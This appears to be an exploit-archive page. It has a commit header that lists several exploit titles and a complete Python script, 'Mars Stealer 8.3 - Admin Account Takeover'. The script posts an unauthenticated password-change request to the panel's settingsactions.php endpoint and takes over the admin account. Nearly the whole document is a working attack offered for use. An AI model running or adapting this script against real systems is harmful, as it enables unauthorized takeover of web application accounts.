7e3a257da8
11 changes to exploits/shellcodes/ghdb PaperCut NG/MG 22.0.4 - Authentication Bypass KodExplorer 4.49 - CSRF to Arbitrary File Upload Mars Stealer 8.3 - Admin Account Takeover Multi-Vendor Online Groceries Management System 1.0 - Remote Code Execution Sophos Web Appliance 4.3.10.4 - Pre-auth command injection Arcsoft PhotoStudio 6.0.0.172 - Unquoted Service Path OCS Inventory NG 2.3.0.0 - Unquoted Service Path Wondershare Filmora 12.2.9.2233 - Unquoted Service Path Windows/x64 - Delete File shellcode / Dynamic PEB method null-free Shellcode
27 lines
No EOL
1.1 KiB
Python
Executable file
27 lines
No EOL
1.1 KiB
Python
Executable file
# Exploit Title: Mars Stealer 8.3 - Admin Account Takeover
|
|
# Product: Mars Stelaer
|
|
# Technology: PHP
|
|
# Version: < 8.3
|
|
# Google Dork: N/A
|
|
# Date: 20.04.2023
|
|
# Tested on: Linux
|
|
# Author: Sköll - twitter.com/s_k_o_l_l
|
|
|
|
|
|
import argparse
|
|
import requests
|
|
|
|
parser = argparse.ArgumentParser(description='Mars Stealer Account Takeover Exploit')
|
|
parser.add_argument('-u', '--url', required=True, help='Example: python3 exploit.py -u http://localhost/')
|
|
args = parser.parse_args()
|
|
|
|
url = args.url.rstrip('/') + '/includes/settingsactions.php'
|
|
headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Sköll", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Origin": url, "Referer": url, "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US;q=0.8,en;q=0.7"}
|
|
data = {"func": "savepwd", "pwd": "sköll"} #change password
|
|
response = requests.post(url, headers=headers, data=data)
|
|
|
|
if response.status_code == 200:
|
|
print("Succesfull!")
|
|
print("New Password: " + data["pwd"])
|
|
else:
|
|
print("Exploit Failed!") |